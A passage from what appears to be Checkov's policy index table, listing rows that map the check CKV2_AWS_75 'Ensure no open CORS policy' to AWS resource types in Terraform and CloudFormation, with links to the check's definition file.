Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5062 | CKV2_AWS_75 | resource | aws_sesv2_configuration_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5063 | CKV2_AWS_75 | resource | aws_sesv2_configuration_set_event_destination | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5064 | CKV2_AWS_75 | resource | aws_sesv2_configuration_set_event_destination | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5065 | CKV2_AWS_75 | resource | aws_sesv2_contact_list | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5066 | CKV2_AWS_75 | resource | aws_sesv2_contact_list | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5067 | CKV2_AWS_75 | resource | aws_sesv2_dedicated_ip_assignment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5068 | CKV2_AWS_75 | resource | aws_sesv2_dedicated_ip_assignment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5069 | CKV2_AWS_75 | resource | aws_sesv2_dedicated_ip_pool | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5070 | CKV2_AWS_75 | resource | aws_sesv2_dedicated_ip_pool | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5071 | CKV2_AWS_75 | resource | aws_sesv2_email_identity | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5072 | CKV2_AWS_75 | resource | aws_sesv2_email_identity | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5073 | CKV2_AWS_75 | resource | aws_sesv2_email_identity_feedback_attributes | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5074 | CKV2_AWS_75 | resource | aws_sesv2_email_identity_feedback_attributes | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5075 | CKV2_AWS_75 | resource | aws_sesv2_email_identity_mail_from_attributes | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5076 | CKV2_AWS_75 | resource | aws_sesv2_email_identity_mail_from_attributes | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5077 | CKV2_AWS_75 | resource | aws_sesv2_email_identity_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5078 | CKV2_AWS_75 | resource | aws_sesv2_email_identity_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5079 | CKV2_AWS_75 | resource | aws_sfn_activity | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5080 | CKV2_AWS_75 | resource | aws_sfn_activity | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5081 | CKV2_AWS_75 | resource | aws_sfn_alias | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5082 | CKV2_AWS_75 | resource | aws_sfn_alias | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5083 | CKV2_AWS_75 | resource | aws_sfn_state_machine | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5084 | CKV2_AWS_75 | resource | aws_sfn_state_machine | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5085 | CKV2_AWS_75 | resource | aws_shield_application_layer_automatic_response | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5086 | CKV2_AWS_75 | resource | aws_shield_application_layer_automatic_response | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5087 | CKV2_AWS_75 | resource | aws_shield_drt_access_log_bucket_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5088 | CKV2_AWS_75 | resource | aws_shield_drt_access_log_bucket_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5089 | CKV2_AWS_75 | resource | aws_shield_drt_access_role_arn_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5090 | CKV2_AWS_75 | resource | aws_shield_drt_access_role_arn_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5091 | CKV2_AWS_75 | resource | aws_shield_proactive_engagement | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5092 | CKV2_AWS_75 | resource | aws_shield_proactive_engagement | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5093 | CKV2_AWS_75 | resource | aws_shield_protection | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5094 | CKV2_AWS_75 | resource | aws_shield_protection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5095 | CKV2_AWS_75 | resource | aws_shield_protection_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5096 | CKV2_AWS_75 | resource | aws_shield_protection_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5097 | CKV2_AWS_75 | resource | aws_shield_protection_health_check_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5098 | CKV2_AWS_75 | resource | aws_shield_protection_health_check_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5099 | CKV2_AWS_75 | resource | aws_shield_subscription | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5100 | CKV2_AWS_75 | resource | aws_shield_subscription | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5101 | CKV2_AWS_75 | resource | aws_signer_signing_job | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5102 | CKV2_AWS_75 | resource | aws_signer_signing_job | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5103 | CKV2_AWS_75 | resource | aws_signer_signing_profile | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5104 | CKV2_AWS_75 | resource | aws_signer_signing_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5105 | CKV2_AWS_75 | resource | aws_signer_signing_profile_permission | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5106 | CKV2_AWS_75 | resource | aws_signer_signing_profile_permission | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5107 | CKV2_AWS_75 | resource | aws_simpledb_domain | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5108 | CKV2_AWS_75 | resource | aws_simpledb_domain | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5109 | CKV2_AWS_75 | resource | aws_snapshot_create_volume_permission | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5110 | CKV2_AWS_75 | resource | aws_snapshot_create_volume_permission | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5111 | CKV2_AWS_75 | resource | aws_sns_platform_application | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5112 | CKV2_AWS_75 | resource | aws_sns_platform_application | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5113 | CKV2_AWS_75 | resource | aws_sns_sms_preferences | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5114 | CKV2_AWS_75 | resource | aws_sns_sms_preferences | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5115 | CKV2_AWS_75 | resource | aws_sns_topic | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5116 | CKV2_AWS_75 | resource | aws_sns_topic | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5117 | CKV2_AWS_75 | resource | aws_sns_topic_data_protection_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5118 | CKV2_AWS_75 | resource | aws_sns_topic_data_protection_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5119 | CKV2_AWS_75 | resource | aws_sns_topic_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5120 | CKV2_AWS_75 | resource | aws_sns_topic_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5121 | CKV2_AWS_75 | resource | aws_sns_topic_subscription | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5122 | CKV2_AWS_75 | resource | aws_sns_topic_subscription | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5123 | CKV2_AWS_75 | resource | aws_spot_datafeed_subscription | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5124 | CKV2_AWS_75 | resource | aws_spot_datafeed_subscription | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5125 | CKV2_AWS_75 | resource | aws_spot_fleet_request | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5126 | CKV2_AWS_75 | resource | aws_spot_fleet_request | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5127 | CKV2_AWS_75 | resource | aws_spot_instance_request | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5128 | CKV2_AWS_75 | resource | aws_spot_instance_request | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5129 | CKV2_AWS_75 | resource | aws_sqs_queue | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5130 | CKV2_AWS_75 | resource | aws_sqs_queue | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5131 | CKV2_AWS_75 | resource | aws_sqs_queue_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5132 | CKV2_AWS_75 | resource | aws_sqs_queue_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5133 | CKV2_AWS_75 | resource | aws_sqs_queue_redrive_allow_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5134 | CKV2_AWS_75 | resource | aws_sqs_queue_redrive_allow_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5135 | CKV2_AWS_75 | resource | aws_sqs_queue_redrive_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5136 | CKV2_AWS_75 | resource | aws_sqs_queue_redrive_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5137 | CKV2_AWS_75 | resource | aws_ssm_activation | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5138 | CKV2_AWS_75 | resource | aws_ssm_activation | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5139 | CKV2_AWS_75 | resource | aws_ssm_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5140 | CKV2_AWS_75 | resource | aws_ssm_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5141 | CKV2_AWS_75 | resource | aws_ssm_default_patch_baseline | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5142 | CKV2_AWS_75 | resource | aws_ssm_default_patch_baseline | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5143 | CKV2_AWS_75 | resource | aws_ssm_document | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5144 | CKV2_AWS_75 | resource | aws_ssm_document | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5145 | CKV2_AWS_75 | resource | aws_ssm_maintenance_window | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5146 | CKV2_AWS_75 | resource | aws_ssm_maintenance_window | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5147 | CKV2_AWS_75 | resource | aws_ssm_maintenance_window_target | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5148 | CKV2_AWS_75 | resource | aws_ssm_maintenance_window_target | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5149 | CKV2_AWS_75 | resource | aws_ssm_maintenance_window_task | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5150 | CKV2_AWS_75 | resource | aws_ssm_maintenance_window_task | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5151 | CKV2_AWS_75 | resource | aws_ssm_parameter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5152 | CKV2_AWS_75 | resource | aws_ssm_parameter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5153 | CKV2_AWS_75 | resource | aws_ssm_patch_baseline | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5154 | CKV2_AWS_75 | resource | aws_ssm_patch_baseline | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5155 | CKV2_AWS_75 | resource | aws_ssm_patch_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5156 | CKV2_AWS_75 | resource | aws_ssm_patch_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5157 | CKV2_AWS_75 | resource | aws_ssm_resource_data_sync | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5158 | CKV2_AWS_75 | resource | aws_ssm_resource_data_sync | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5159 | CKV2_AWS_75 | resource | aws_ssm_service_setting | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5160 | CKV2_AWS_75 | resource | aws_ssm_service_setting | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5161 | CKV2_AWS_75 | resource | aws_ssmcontacts_contact | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5162 | CKV2_AWS_75 | resource | aws_ssmcontacts_contact | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5163 | CKV2_AWS_75 | resource | aws_ssmcontacts_contact_channel | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5164 | CKV2_AWS_75 | resource | aws_ssmcontacts_contact_channel | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5165 | CKV2_AWS_75 | resource | aws_ssmcontacts_plan | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5166 | CKV2_AWS_75 | resource | aws_ssmcontacts_plan | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5167 | CKV2_AWS_75 | resource | aws_ssmcontacts_rotation | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5168 | CKV2_AWS_75 | resource | aws_ssmcontacts_rotation | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5169 | CKV2_AWS_75 | resource | aws_ssmincidents_replication_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5170 | CKV2_AWS_75 | resource | aws_ssmincidents_replication_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5171 | CKV2_AWS_75 | resource | aws_ssmincidents_response_plan | Ensure no open CORS policy | Terraform | 